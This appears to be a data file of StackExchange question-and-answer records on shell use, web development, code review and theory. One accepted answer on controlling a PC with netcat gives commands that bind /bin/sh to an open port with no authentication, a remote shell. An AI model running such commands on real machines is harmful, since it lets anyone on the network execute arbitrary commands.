{  "id": "_unix.189787"  , "question": "What is the difference between echo and echo -e?Which quotes (  or ' ')should be used with the echo command? ie: echo Print statement or echo 'Print statement'?Also, what are the available options that can be used along with echo?"  , "title": "Difference between 'echo' and 'echo -e'"  , "tags": "shell"  , "accepted_answer": "echo by itself displays a line of text. It will take any thing within the following ... two quotation marks, literally, and just print out as it is. However with echo -e you're making echo to enable interpret backslash escapes. So with this in mind here are some examplesINPUT: echo abc\\n def \\nghi OUTPUT:abc\\n def \\nghiINPUT: echo -e abc\\n def \\nghiOUTPUT:abc def ghiNote: \\n is new line, ie a carriage return. If you want to know what other sequences are recognized by echo -e type in man echo to your terminal."  } 
{  "id": "_webmaster.100429"  , "question": "I've just started using Tag Manager combined with Schema JSON-LD for the first time. I am attempting to use Custom HTML but have hit a brick wall when attempting to assign Custom HTML to a URL based on Page View.I'm using the following custom html: <script type=application/ld+json>  {    @context: http://schema.org,    @type: ProfessionalService,    additionalType: http://www.productontology.org/id/Web_design,    name: BYBE,    description: The Web Design Company,    telephone: 01202 949749,    address: {      @type: PostalAddress,      streetAddress: Flat 11, East Cliff Grange, 35 Knyveton Road,      addressLocality: Bournemouth,      addressRegion: Dorset,      postalCode:BH1 3QJ    },    geo: {    @type: GeoCoordinates,    latitude: 50.73744,    longitude: -1.8495269    }  }</script>Which I can confirm works when testing it with Google's Rich Snippet Testing Tool:This works fine with:Tag Type Custom HTMLTrigger Type All Pages Page ViewHowever it does not work with any of the following configurations:Tag Type Custom HTMLTrigger Type Page View > The trigger fires on:Page URL > equals > bybe.net/aboutPage URL > equals > bybe.net/about/Page URL > equals > www.bybe.net/aboutPage URL > equals > www.bybe.net/about/As you can see from above I have tried plenty of different URL types and its not clear what Google is expecting, Googles own examples does not use HTTP HTTPS or with WWW so I'm not sure why this is not working, hopefully someone can assist pointing me in the right direction!"  , "title": "Google Tag Manager Custom HTML Page View URL Equals Trigger not Working"  , "tags": "schema.org;rich snippets;google tag manager;json ld"  , "accepted_answer": "Page URL is full url (including protocol) , try contains instead of equals. Ref : https://support.google.com/tagmanager/answer/6106965?hl=enTo check value of each built-in variable's on your page follow below listed steps :1. Enabling Preview & Debug mode on your GTM web container2. Open your website, you'll see a Quick Preview panel on bottom of your website.3. Go to the event (Window Loaded/DOM Ready/Page View) you want your variable on and then navigate to variables tab, there you'll find all user-defined and built-in variables. Search for the variable you're looking for and there you'll find it's value listed."  } 
{  "id": "_unix.107566"  , "question": "I know this xmodmap script can swap ctrl and capslock:  remove Lock = Caps_Lockremove Control = Control_Lkeysym Caps_Lock = Control_Lkeysym Control_L = Caps_Lockadd Lock = Caps_Lockadd Control = Control_LI don't quite understand it. So I tried this:  remove Lock = Caps_Lockremove Control = Control_Ladd Lock = Control_Ladd Control = Caps_LockAnd this script doesn't work.Could some explain this(why the 1st script works and the other one doesn't) in simple words? "  , "title": "how to swap ctrl and capslock using xmodmap?"  , "tags": "x11;keyboard layout;xmodmap"  } 
{  "id": "_unix.299677"  , "question": "I want to config a PC with necat or socat to execute a script when I tell the server to do this.I have an old app cappable to send simple message UDP prefered.The message is stored in a playlist.exampleLet's say I want to send a message to open a macro/script to the PC that is running netcat/socatC:\\Users\\xxx\\Desktop\\script.bat   the server needs to listen on a port.and execute the program when the command its receivedhow I do this? I don't know how to start I found nothing on internet.PS.  please don't mind UDP security or reliability; it's a LAN thing, and I don't need the server to tell me anything back."  , "title": "Controling a PC via tcp/udp commands necat/socat"  , "tags": "netcat;socat"  , "accepted_answer": "This is a classic use of netcat.  But this is unix.SE so my answer will be completely in unix.Note: netcat has different names on different distros:netcat: alias to nc on some distrosnc: GNU netcat on linux or BSD netcat on *BSDncat: Nmap netcat, consistent on most systemsOptions between different versions of netcat vary, I'll point out where different version may behave differently.  Moreover, I strongly recommend installing the nmap version of netcat (ncat) since its command line options are consistent across different systems.I'll be using ncat as the netcat name thorough the answer.TCPTo use TCP to control a machine through netcat you have two options: using a named pipe (which works with all versions of netcat) and using -e (which only exists in the linux version, or, more exactly, -e on *BSD does something completely different).On the server side you need to perform either:mkfifo pinkiencat -kl 0.0.0.0 4096 <pinkie | /bin/sh >pinkieWhere: 0.0.0.0 is the placeholder for all interfaces, use a specific IP to limit it to a specific interface; -l is listen and -k keep open (to not terminate after a single connection).Another option (on linux/ncat) is to use:ncat -kl 0.0.0.0 4096 -e /bin/shTo achieve the same result.On the client side you can use your app or simply perform:ncat <server ip> 4096And you are in control of the shell on the server, and can send commands.UDPUDP is similar but has some limitations.  You cannot use -k for the UDP protocol without -e, therefore you need to use the linux/ncat to achieve a reusable socket.On the server side you do:ncat -ukl 0.0.0.0 4096 -e /bin/shAnd on the client side (or from your app):ncat -u <server ip> 4096And once again you have a working shell."  } 
{  "id": "_codereview.72255"  , "question": "The original question is on careercup.Write a multi threaded C code with one thread printing all even numbers and the other all odd numbers. The output should always be in sequence  ie. 0,1,2,3,4....etcNow I want to use  C# for it.      class Program{    static Object obj = new Object();    static Thread t1;    static Thread t2;    static LinkedList<int> a = new LinkedList<int>();    static void Main(string[] args)    {        for (int i = 0; i < 10; i++)        {            a.AddLast(i);        }        t1 = new Thread(PrintOdd);        t2 = new Thread(PrintEven);        t1.Name = Odd;        t2.Name = Even;        t1.Start();        t2.Start();        t1.Join();        t2.Join();        Console.WriteLine(Done!);        Console.Read();    }    private static void PrintOdd()    {        while (true)        {            if (a.Count == 0)                break;            lock (obj)            {                int x = a.First();                if (x % 2 != 0)                {                    Console.WriteLine(Thread.CurrentThread.Name +   + x);                    a.RemoveFirst();                }            }        }    }    private static void PrintEven()    {        while (true)        {             lock (obj)            {                if (a.Count == 0)                    break;                int x = a.First();                if (x % 2 == 0)                {                    Console.WriteLine(Thread.CurrentThread.Name +   + x);                    a.RemoveFirst();                }            }        }    }}Any improvements?"  , "title": "Printing all even and odd numbers with threads"  , "tags": "c#;multithreading"  , "accepted_answer": "This looks very good to me, but I am not very advanced at C# myself.  I can give you some tips, though.First, you should not use ambiguous names like t1 and t2.  You should use more descriptive names like EvenThread and OddThread instead.Second, you can shorten this:while (true){  if (a.Count == 0)    break;Into this:while (Numbers.Count > 0)  // For PrintOdd()And this:while (Numbers.Count > 1)  // For PrintEven()Also, you could look into other forms of mutual exclusion techniques, such as semaphores and mutexes, instead of just using an Object.This is an implementation with a SemaphoreSlim (only code shown is changed):using System.Threading;class Program{    static SemaphoreSlim ThreadLock = new SemaphoreSlim(1,1);    static Thread Odd;    static Thread Even;    static LinkedList<int> Numbers = new LinkedList<int>();    static void Main(string[] args)    {        for (int i = 0; i < 10; i++)        {            Numbers.AddLast(i);        }        Odd = new Thread(PrintOdd);        Even = new Thread(PrintEven);        Odd.Name = Odd;        Even.Name = Even;        Odd.Start();        Even.Start();        Odd.Join();        Even.Join();        Console.WriteLine(Done!);        Console.Read();    }    private static void PrintOdd()    {        while (Numbers.Count > 0)        {            ThreadLock.Wait();            int x = Numbers.First();            if (x % 2 != 0)            {                Console.WriteLine(Thread.CurrentThread.Name +   + x);                Numbers.RemoveFirst();            }            ThreadLock.Release();        }    }    private static void PrintEven()    {        while (Numbers.Count > 1)        {            ThreadLock.Wait();            int x = Numbers.First();            if (x % 2 == 0)            {                Console.WriteLine(Thread.CurrentThread.Name +   + x);                Numbers.RemoveFirst();            }            ThreadLock.Release();        }    }}"  } 
{  "id": "_computergraphics.1755"  , "question": "I am interested in duplicating a figure (shown below, ch 1 fig 1.21) in the book Algorithmic Beauty of Plants. The book is available herehttp://algorithmicbotany.org/papers/#abopThis image appears in several resources but I have been unable to find the exact rules for the axial system that produced it. In the book, this figure is presented in the context of L-systems and is referenced in the text as follows.Of special interest are methods proposed by Horton [70, 71] and Strahler,   which served as a basis for synthesizing botanical trees [37, 152] (Figure   1.21).I am unable to find a copy of the PhD thesis (ref 37) and ref 152 does not produce this figure.Performing a Google image search with this image points to material related to the book, such as slides.Has anyone here reproduced this figure?"  , "title": "What exact algorithm and parameters reproduce L-system plant growth figure in Algorithmic Beauty of Plants"  , "tags": "untagged"  } 
{  "id": "_unix.279793"  , "question": "When I run the ping command it outputs information for each ping and in the end, when I kill the process it outputs some overall statistics--- 192.168.0.1 ping statistics ---10 packets transmitted, 10 received, 0% packet loss, time 9013msrtt min/avg/max/mdev = 1.275/2.596/7.246/1.870 msIs there a way to see these statistics while ping is running, without having to kill it? I'm particularly interested in continuously monitoring the the packet loss statistic because you need to wait a bit to get accurate numbers for that."  , "title": "Can I see the summed up results of the ping command while it is running?"  , "tags": "linux;ping"  , "accepted_answer": "If you press CTRL+\\ while ping is running it will display the statsCheck ping statistics without stopping"  } 
{  "id": "_codereview.14061"  , "question": "I needed to write a function today in JavaScript that would return all elements based on a given attribute. e.g retrieve all elements that have an id attribute in them. The function I wrote for this is as follows:function getElements(attrib) {    // get all dom elements    var elements = document.getElementsByTagName(*);    // initialize array to put matching elements into    var foundelements = [];    // loop through all elements in document    for (var i = 0; i < elements.length; i++) {        // check to see if element has any attributes        if (elements[i].attributes.length > 0) {            // loop through element's attributes  and add it to array if it matches attribute from argument            for (var x = 0; x < elements[i].attributes.length; x++) {                if (elements[i].attributes[x].name === attrib) {                    foundelements.push(elements[i]);                }            }        }    }    return foundelements;}Looking at this, I am sure it could be written a great deal better. Any feedback would be much appreciated!"  , "title": "JavaScript function to get DOM elements by any attribute"  , "tags": "javascript;dom"  , "accepted_answer": "querySelectorAllFirst off, if you're only dealing with relatively modern browsers (basically anything above IE7), you can use querySelectorAll, which is the fastest and easiest method to go about this:document.querySelectorAll('[' + attrib + ']');Here's the fiddle: http://jsfiddle.net/rc6Pq/SizzleIf you're stuck having to support IE7 and below, then you might as well just include the Sizzle selector engine, since you're bound to be using some additional selectors in the future. Once you include the Sizzle script in your page, you could then just use it in a similar fashion to the native querySelectorAll:Sizzle('[' + attrib + ']');Here's the fiddle: http://jsfiddle.net/rc6Pq/1/jQueryIf you're already using jQuery on the page, you don't have to use Sizzle separately, since jQuery has Sizzle incorporated within it. If that's the case, just use this:$('[' + attrib + ']').get();Here's the fiddle: http://jsfiddle.net/rc6Pq/2/"  } 
{  "id": "_cstheory.20861"  , "question": "everybody knows there exist many decision problems which are NP-hard on general graphs, but I'm interested in problems that are even NP-hard when the underlying graph is a path. So, can you help me to collect such problems?I've already found a related question about NP-hard problems on trees."  , "title": "NP-hard problems on paths"  , "tags": "graph theory;np hardness"  } 
{  "id": "_webmaster.51647"  , "question": "That was my question, in the form of a question.Fortunately, I've already whipped up some code and can only point you to errors in the html.. although I don't know what they are. Here's what I've got:http://cssdesk.com/uDaLgWhen the extra navigation links (which would normally be characterized by line breaks) are laid out in my navigation bar, my html puts a gap in the padding on the right side. I have highlighted the background in case you're overly skeptical that it is in fact my css. Of course, you can also go and view the css for yourself."  , "title": "How do I get rid of unwanted gaps in a horizontal navigation bar?"  , "tags": "html"  , "accepted_answer": "There is always a gap between inline elements like spans. There are a couple of ways to get rid of the space. You can put all the spans on one line or you can do something like this to hack it:   <span><a href=#>Link</a></span><!-- --><span><a href=#>Link</a></span><!-- --><span><a href=#>Link</a></span>"  } 
{  "id": "_softwareengineering.163"  , "question": "Are there any great programming or software development books that are language agnostic?  Why should I read it?"  , "title": "Language agnostic programming books"  , "tags": "books;language agnostic"  } 
{  "id": "_unix.129279"  , "question": "I have a Plantronics 590 bluetooth headset (the type probably does not matter, but I have no alternative to test).Using the old 3.02 I was able to use this via pulseaudio.With the current 3.11-amd64 kernel this does no longer work.I am still able to pair and to connect to the headset, using HSP profile.I get a beep on the headset to confirm connection.Unfortunataly there is neither input nor output in pulseaudio(with the old kernel pavucontrol shot the headset).This is most likely related to the kernel or a module.I am using debian testing (jessie).The current version of linux-image-amd64 is 3.13+56The current version of bluez is 4.101-4.1The current version of pulseaudio and pulseaudio-module-bluetooth is 5.0-2The current version of alsa-base is 1.0.25+3I also tried debian stable (wheezy), 32bit, not working, but different:I can connect the device, it appears in pavucontrol but sound does not work.The current version of linux-image-686-pae is 3.2+46The current version of bluez is 4.99-2The current version of pulseaudio and pulseaudio-module-bluetooth is 2.0-6.1The current version of alsa-base is 1.0.25+3~deb7u1"  , "title": "Bluetooth headset profile not working with recent kernel"  , "tags": "linux kernel;audio;bluetooth"  } 
{  "id": "_softwareengineering.226613"  , "question": "Some quick background - we don't have PMs or upper management breathing down our necks about status of features, etc, as we almost always deliver ahead of time and have built up a high level of trust with them. In other words, we have a huge amount of flexibility as far as process goes. We do very well with our current process, but we feel there can be some improvement.We have a small team (3 devs, 1 tester) and everyone on the team is senior level and can deliver large pieces of functionality, and usually does so on an individual basis. Sometimes two people work on the same story/task, but since we are all very familiar with the codebase(s), we typically handle things by ourselves and consult/collaborate when needed.We roll to a live site and have the ability to roll on a daily basis, which someone on our team typically does.  On average, I'd say an individual developer rolls his own code 3 times a week.We have been doing scrum with 2 week sprints, but from my experience scrum was more advantageous when we needed the majority of the team to work on the same features at the same time (swarm-type stuff), and when needing to communicate out to external teams. We currently don't have either of those needs, so we're re-evaluating our process.What it seems like we're moving toward is a model where each team member exists in his/her own sprint (with optional teammates being less common), which lasts anywhere from 1-3 days. We don't have a requirement that all sprints have to end on the same days, etc, so in theory we could pull this off. My question is, is there something better than scrum that models this type of development process?Oh, I almost forgot. We're moving away from TFS to use Git, and while I have experience with Git, most of the team members don't. Since it's a paradigm shift for some on the team, I'm wondering if we can use the change to our advantage somehow process-wise. Thoughts?"  , "title": "What development process encourages frequent releases (rolling code to a live site), as well as developer individuality"  , "tags": "development process;teamwork"  , "accepted_answer": "If you take a step back and look at why 'formal' development processes such as Waterfall, Extreme, Scrum evolved, its because many development houses struggle with developing software products (as opposed to 'software programs') that met the business and customers requirements. Every published process is an attempt to provide a framework to help achieve these goals. Some frameworks (e.g. Rational RUP) are large and prescriptive, others (e.g. Agile) a light weight and provide guidelines. What you have evolved may not be Scrum, but is a form a Agile. It does not need a name to work. It appears to be working for you and does not appear to be broken, do not change what you are doing because someone says they have a different way.  What I suggest you do is look at you process and ensure that it is more than luck that is keeping it working. Document how you work now so its repeatable - pretend anotehr team wants to adopt what you are doing and write it up. Look for weaknesses - For instance a team of 3 could become a team of two overnight and feasibly a team of one. Is the process robust against this kind of change, can you bring a new member into the team with little process change? Does it scale - can you double the size of the team and still get the same results - if not, ask is it needed, and document the decision. "  } 
{  "id": "_cs.12624"  , "question": "Or at least generate a set of strings that one NFA accepts, so I can feed it into the other NFA.  If I do a search through every path of the NFA, will that work?  Although that will take a long time."  , "title": "Is there a way to test if two NFAs accept the same language?"  , "tags": "algorithms;regular languages;finite automata"  , "accepted_answer": "The decision problem is PSPACE-complete as Shaull noted.However, it turns out that in practice it is often possible to decide NFA equivalence reasonably quickly.  Mayr and Clemente (based on experimental evidence) claim that the average-case complexity scales quadratically.  Their techniques rely on pruning the underlying labelled transition system via local approximations of trace inclusions.Just like SAT is NP-complete in a worst-case analysis, yet often turns out surprisingly tractable for real-world instances, it therefore seems likely that NFA equivalence can be decided efficiently for many real-world instances.Richard Mayr and Lorenzo Clemente, Advanced automata minimization, POPL 2013, doi:10.1145/2429069.2429079 (preprint)"  } 
{  "id": "_cs.35195"  , "question": "Define the language$\\qquad R = \\{x \\in \\{0,1\\}^\\ast \\mid C(x) \\ge |x| \\}$ where $C(x)$ is the Kolmorgorov Complexity of $x$ and $|x|$ denotes the length of $x$.Prove that $R$ is co-recursively enumerable (co-r.e.).So far, I have the following:In order to prove the above, we need to show$\\qquad R^c$ =  $\\{x \\in \\{0,1\\}^\\ast \\mid C(x) \\lt |x| \\}$is r.e. That is there exists a program $\\pi$ such that the univeral TM $U$ with argument $\\pi$ equals $x$ and $|\\pi| \\lt |x|$ (where $U(\\pi) = x$ and $|\\pi| \\lt |x|$).We start by enumerating all strings in $\\{0,1\\}^\\ast$.I have no idea where to go from this point onward."  , "title": "Show that the set of programs whose Kolmorgorov complexity is smaller than their length is recursively enumerable"  , "tags": "computability;turing machines;semi decidability;kolmogorov complexity"  } 
{  "id": "_unix.180669"  , "question": "I am using Cloud9 for Rails development and it uses an Ubuntu environment. In the documentation about using the PostgreSQL database, it says:Connect to the service:$ sudo sudo -u postgres psql What is the meaning of typing sudo twice?https://docs.c9.io/setting_up_postgresql.html"  , "title": "What is the meaning of sudo sudo?"  , "tags": "sudo"  , "accepted_answer": "sudo -u postgres allows you to impersonate the postgres user when running the command. Your user probably doesn't have that privilege, but root's does.So the first sudo gives you root's privileges and the second sudo allows you (as root) to sudo -u to postgres allowing the command to be run as the postgres user."  } 
{  "id": "_unix.116304"  , "question": "According to the Debian installation manual, section 4.3, the hybrid installation ISO image can be easily copied on a USB key this way: # cp debian.iso /dev/sdX# syncBut according to my previous question about sync, it looks like it only works to flush file system buffers. Then, why would sync work in the above command which does not involve a file system?"  , "title": "Why does the Debian installation manual suggest to do sync after raw copy of image file to USB key?"  , "tags": "debian;system installation;usb drive;disk image"  } 
{  "id": "_softwareengineering.30103"  , "question": "I was trying to do some C++ coding that can send files from my laptop to my webmail account. It took me about 10 minutes to realize that there is no easy way to do this. Look into these links: GMAIL: http://code.google.com/apis/gmail/oauth/code.htmlYAHOO: http://developer.yahoo.com/mail/I am trying to understand why PHP or Python or Java support exist but no C++. No flame wars, I love all programming languages and their creators equally but I am curious to understand the logic behind such implementation choices."  , "title": "Why no developer API in C++ for Google or Yahoo mail?"  , "tags": "c++;email"  , "accepted_answer": "C++ has its strengths and weaknesses. One weakness is that its library is very thin. Email involves a lot of protocols, HTTP/S, SMTP, POP3, IMAP, etc. I don't see how you can support these protocols easily in a standardized way with C++."  } 
{  "id": "_unix.63680"  , "question": "I'm trying to copy a bunch of files named folder.jpg into a folder. The problem is because all the files are named the same thing, I need to rename them in the process. I know I can probably do it with sed but I'd like to rename them to the name of part of the parent folder.Here is what I got just to find and copy the filescp $(find . -iname folder.jpg) .albumart/The folder structure is ./artist/artist.year.album/folder.jpg and what I'd like to use the parent folder (or just part of it) to name the file. Can someone help me with a one liner to accomplish the task?To make things even trickier, some folders have one more level of CD1 and CD2 that I would like to ignore if they are present (e.g. ./artist/artist.year.album/CD1/folder.jpg)"  , "title": "Use find + sed + cp to find files and copy them to a directory with a different name"  , "tags": "sed;find;cp"  , "accepted_answer": "Assuming you have bash, this version simply takes your folder structure (e.g. ./foo/bar/baz/folder.jpg) and replaces all the slashes with underscores (e.g. so you get foo_bar_baz_folder.jpg):find . -iname folder.jpg -exec bash -c 'for x; do x=${x#./}; cp -i $x .albumart/${x//\\//_}; done' _ {} +Note that no matter what you do, any time you move files from multiple locations into the same destination, there is always a chance of a name collision."  } 
{  "id": "_webmaster.89627"  , "question": "I want to create a website that will grab content from other news websites using their RSS and insert it in my database. I am only going to show the title and an excerpt with a link to the original post.Is this a good idea? Will Google ban my website? Is it bad for SEO and is it against Google AdSense rules?"  , "title": "Copying content from other websites and linking to the original post"  , "tags": "seo;google adsense;copyright"  } 
{  "id": "_unix.287540"  , "question": "I'm trying to filter one array from another array. That is, I'm trying to create a third array with a logical not-intersection.The best I can tell, it appears this block of code never matches, and found remains low:found=0...if [ $flag = $filtered ]; then    found=1fiI've tried using == with the same result. I also tried the X trick, but that did not work either (does it even apply here?): if [ X$flag = X$filtered ].I'm restricted to Bash 3. I'm using Bash because I somewhat know it. I'm restricted to 3 because the script runs on OS X, too. Because of Bash 3, I think I'm missing many useful functions, like HashMaps.Why are the strings not matching?Here is the relevant snippet. CXXFLAGS can be set by the user in his/her environment. I'm trying to remove flags that we explicitly test in our test script, like -DDEBUG, -DNDEBUG, and optimizations like -O0 and -O1.# Respect user's preferred flags, but filter the stuff we expliclty testFILTERED_CXXFLAGS=(-DDEBUG, -DNDEBUG, -O0, -O1, -O2, -O3, -Os, -Og)# Additional CXXFLAGS we did not filterRETAINED_CXXFLAGS=()if [ ! -z CXXFLAGS ]; then    TEMP_CXXFLAGS=$(echo $CXXFLAGS | sed 's/\\([[:blank:]]*=[[:blank:]]*\\)/=/g')    IFS=' ' read -r -a TEMP_ARRAY <<< $TEMP_CXXFLAGS    for flag in ${TEMP_ARRAY[@]}    do        echo Flag: $flag        found=0        for filtered in ${FILTERED_CXXFLAGS[@]}        do            echo Filtered: $filtered            if [ $flag = $filtered ]; then                echo Found: $flag                found=1            fi        done        echo Found: $found        if [ $found -eq 0 ]; then            echo Retaining $flag            RETAINED_CXXFLAGS+=($temp)        else            echo Discarding $temp        fi    donefiHere's a trace with the echo's in place. The test data was simply export CXXFLAGS=-DNDEBUG -g2 -O3 -mfpu=neonFlag: -DNDEBUGFiltered: -DDEBUG,Filtered: -DNDEBUG,Filtered: -O0,Filtered: -O1,Filtered: -O2,Filtered: -O3,Filtered: -Os,Filtered: -OgFound: 0Retaining -DNDEBUGFlag: -g2Filtered: -DDEBUG,Filtered: -DNDEBUG,Filtered: -O0,Filtered: -O1,Filtered: -O2,Filtered: -O3,Filtered: -Os,Filtered: -OgFound: 0Retaining -g2Flag: -O3Filtered: -DDEBUG,Filtered: -DNDEBUG,Filtered: -O0,Filtered: -O1,Filtered: -O2,Filtered: -O3,Filtered: -Os,Filtered: -OgFound: 0Retaining -O3Flag: -mfpu=neonFiltered: -DDEBUG,Filtered: -DNDEBUG,Filtered: -O0,Filtered: -O1,Filtered: -O2,Filtered: -O3,Filtered: -Os,Filtered: -OgFound: 0Retaining -mfpu=neon"  , "title": "Strings from two distinct arrays not matching?"  , "tags": "bash;shell script;text processing;string"  , "accepted_answer": "They don't match because FILTERED_CXXFLAGS has commas and ${TEMP_ARRAY[@]} does not:Flag: -DNDEBUGFiltered: -DDEBUG,Filtered: -DNDEBUG,If the commas are supposed to be there, then replace:if [ $flag = $filtered ]; thenwith:if [ $flag = ${filtered%%,} ]; thenAlternatively, if the commas are not supposed to be there, then the issue is with:FILTERED_CXXFLAGS=(-DDEBUG, -DNDEBUG, -O0, -O1, -O2, -O3, -Os, -Og)One can use declare -p to see what value bash has given to a variable:$ declare -p FILTERED_CXXFLAGSdeclare -a FILTERED_CXXFLAGS='([0]=-DDEBUG, [1]=-DNDEBUG, [2]=-O0, [3]=-O1, [4]=-O2, [5]=-O3, [6]=-Os, [7]=-Og)'One can see that the commas are included in the value of each element.  While many languages require array elements to be separated by commas, Unix shell does not.  Instead it treats them as part of the value of the array elements.  Thus, replace the above definition with:FILTERED_CXXFLAGS=(-DDEBUG -DNDEBUG -O0 -O1 -O2 -O3 -Os -Og)"  } 
{  "id": "_unix.8450"  , "question": "I would like to configure squid in such way, so that only specific (public) ip (reverse proxy), could connect to the server, but I don't know how... can someone tell me how to do this?"  , "title": "squid (reverse proxy) configuration"  , "tags": "firewall;ip;proxy;squid"  , "accepted_answer": "In Squid this is done by specifying the public IP address in http_port, and using loopback address for the web server and Apache may be configured like in httpd.conf to listen on the loopback address:Port 80BindAddress 127.0.0.1"  } 
{  "id": "_unix.185728"  , "question": "When I did the command : wget -r ftp://user:paswword@ftp.xxxx.ovh.net/It's missing any sub-sub-directories. Does recursive FTP have a limit?"  , "title": "Why doesn't wget -r get all FTP subdirectories?"  , "tags": "wget;ftp"  , "accepted_answer": "How many level deep are you getting?  If you need more than 5, you need to provide the -l option.man wget   -r   --recursive       Turn on recursive retrieving.    The default maximum depth is 5.   -l depth   --level=depth       Specify recursion maximum depth level depth.   -m   --mirror    Turn on options suitable for mirroring.    This option turns on recursion and time-stamping,    sets infinite recursion depth and keeps FTP directory listings.    It is currently equivalent to -r -N -l inf --no-remove-listing."  } 
{  "id": "_softwareengineering.179047"  , "question": "I notice two types of design used in web applications, some with a particular subdomain for users contents, and some with same URL structure for all the accounts.Ex: unique.domain.com and another_unique.domain.com for subdomains for sites like blogspot, wordpress, basecamp etc.while in the other approach domain.com/action1 and domain.com/action2 the content is shown according to the user logged in, but the URL is same for every user.What are main differences between both of these kind of design?"  , "title": "What are the advantages and disadvantages of having a subdomain for each user account?"  , "tags": "web development;web applications"  , "accepted_answer": "The server-side differences vary quite a bit from platform to platform.In most cases, however, it is easier to write an application that assumes it runs in the root (at least in PHP and ASP.NET it is) and then set up separate sites/virtual directories for each.From a user's perspective, telling them to go to mysite.example.com is typically easier to remember than www.example.com/mysite. There is no reason this must be so, but most people have it more or less ingrained to ignore everything after the / or, for that matter, before the main domain. As a more esoteric example, if you were to tell end users to go to ww2.host.example.com/mysite what most people will actually remember is example.com, their minds discarding the trash.The downside is, of course, that provisioning subdomains is kind of manual out of the box. You can script it up, of course, but in IIS or Apache, as well as most domain registrars it tends to be done by hand. So, you have to go to the effort of automating that (though I am sure there are some extant tools that do the trick)."  } 
{  "id": "_webmaster.260"  , "question": "If I register a really good .com domain name, should I also register:alternate spellingsmis-spellingshyphenated versionsother variations: iExample.com, eExample.com, myExample.com, etc.other TLDs: .org, .net, .biz, .infointernational TLDsWhich definitely, which maybe and which no? How do you know where to draw the line?"  , "title": "Should I preemptively register alternate domain names?"  , "tags": "domains;registration"  , "accepted_answer": "That depends very much on how important the site you are talking about is going to be. It is not unknown for spammers and such to buy those alternative domain names because people tend to make spelling mistakes and then land on those pages. Of course this will only happen if your site is really huge, otherwise nobody will bother. Some slight variations so users have less difficulty remembering your site (hyphenated for example) or international TLDs if you have a site in several languages are reasonable extra domains to register. "  } 
{  "id": "_datascience.14193"  , "question": "I'm using a neural network to analyze item choices made by players in a computer game. In the game players can choose between 0 and 7 items. Right now I'm struggling with how I can evaluate my data.Tensorflow provides a nice method for getting the k highest values:https://www.tensorflow.org/api_docs/python/tf/nn/top_ktf.nn.top_k(input, k=1, sorted=True, name=None)The input here would be the prediction by my neural network. The output I get by applying top_k to the prediction would then be compared to applying top_k to the correct_output (the one the neural net should have had) and by doing this multiple times and averaging I get the accuracy that I want to have. The problem I'm running into is that k should depend on the amount of 1's in the correct_output. I am lost as to how I can achieve this.edit: correct output (if I understand how this works correctly) should already be a tensor. It is loaded from a .pickle file and at the beginning of the code it is prepared as follows:correct_output = tf.placeholder('float')As to what it looks like: it is simply a list of given length of 1's and 0's"  , "title": "Using tensorflow to test a variable amount of correct labels"  , "tags": "neural network;tensorflow;evaluation;multilabel classification"  } 
{  "id": "_unix.11951"  , "question": "I'm currently working on an assignment in a cluster programming class. The class has been given an account on the cluster, so we can ssh in and do our work. The problem is that the one account is shared among everyone in the class. Each student just makes their own directory and works within it.Obviously a problem is that students can just look at each others work and plagiarize. I don't want people to see my work until after the assignments have been submitted.There are no version control systems on the cluster, so I can't just pull a repository from my own machine and work on the assignment, then push it and remove what's on the cluster each time I work.What is the best way to prevent others from seeing my work? Ordinarily I'd just work on my own machine and then upload to the server when it is due. But because I don't have my own cluster, we all need to actually use the one account.Yes, believe it or not this is actually a real world problem I am facing - not a hypothetical."  , "title": "Hiding work in account with multiple users"  , "tags": "security"  , "accepted_answer": "The real solution to this problem is to talk to your instructor to give you separate accounts, or to change the assignments to be group assignments. If he/she can't or won't do that then I would just ignore any plagiarizing attempts from other students. You don't lose anything when they copy your work, they lose.That said, here is a way to keep your source code virtually inaccessible for anyone else.you@local$ ssh shared@cluster gcc -x c -o yourdir/secret - < source.cNote the dash at the end of the gcc command. That means gcc will read the source from stdin. This will compile source.c from your local machine to yourdir/secret on the cluster. The secret source code will never exist as a real file on the cluster. It will only exist as a stream in some buffer (in the sshd process, I assume).If your code is not written in C then your will have to change the c in the -x c option. See here for more information about that.Other students can still grab your compiled file and decompile that. To minimize even that risk you can delete the file right after compiling and executing.you@local$ ssh shared@cluster gcc -x c -o yourdir/secret - && yourdir/secret ; rm yourdir/secret < source.cIf you are really paranoid you should make sure that you are executing the real gcc. Other students might write a wrapper around gcc, which saves the source code before compiling it, and place that wrapper in your path. You should also execute the real rm.you@local$ ssh shared@cluster /usr/bin/gcc -x c -o yourdir/secret - && yourdir/secret ; /bin/rm yourdir/secret < source.c"  } 
{  "id": "_webmaster.24464"  , "question": "For the purposes of this discussion, consider the following scenario:You have written a fair amount of quality, unpublished content that third-party websites wish to license from you and white-label on their own sites (i.e. you are ghostwriting for these third parties).  In other words, there will be no attribution or links referring to your name, email address, or website at all; it will appear to readers and search engines as if the article were written by the third party instead of by you.Consider that 10,000 of these third-party sites were created independently, without any association to each other (they are absolutely NOT part of a blog farm network).  From your collection of 100 articles, you plan to license the white-label publishing right of each article to 100 of these sites (again, on a per-article basis).  So, while each of your 100 articles will be published 100 times, it's fair to assume that no site will host all 100 articles.  The most any one site will host is 30 articles.Now for the question: Given this scenario, and that your intent is not to game search engines at all (but rather to provide quality content on established websites), do you need to include no-index meta tags on the pages that display your content?Clearly, you wouldn't want your customers to receive the wrath of the Google Duplicate Content Penalty.  However, at the same time, if they can benefit from any Google juice deriving from your content, then that would be a nice benefit.I suppose a more concise question may be, Would this behavior cause Google to penalize the third-party websites?  Or, would Google simply choose one of the sites as hosting the best version of the content on a per-article basis?"  , "title": "Is no-index necessary with extensive, white-labeled syndication?"  , "tags": "seo;google;search engines;duplicate content"  } 
{  "id": "_vi.8257"  , "question": "I'd like to be able to view the last n commands, similar to the history command in bash, and then be able to execute the nth command similar to the way it is done in bash by using !<command number> is there an equivalent to this in vim?"  , "title": "Equivalent of !n in bash in vim for ex commands?"  , "tags": "ex mode;command history"  } 
{  "id": "_vi.12227"  , "question": "I am running Vim version 8.0.563 on Solaris and when I run Vim, the CtrlV block selection works as expected, I type ^V and move the cursor and a block of text is highlighted by columns.  So far, so good.Meanwhile, for another user running Vim from my directory with my .vimrc file, this does not work.  The ^V is ignored and moving the cursor, moves the cursor but nothing is highlighted.  Regular v, block mode works but the ^V column block mode is broken.I tried entering:vim --noplugin -u /dev/nulland it acts the same.  I checked the shared libraries and they are the same. I tried clearing out (almost) all the environment variables, still no joy.Does anybody have any good ideas of what is wrong or something else to try?Thank you in advance."  , "title": "Vim ^V Visual Block mode not working"  , "tags": "visual mode;solaris"  } 
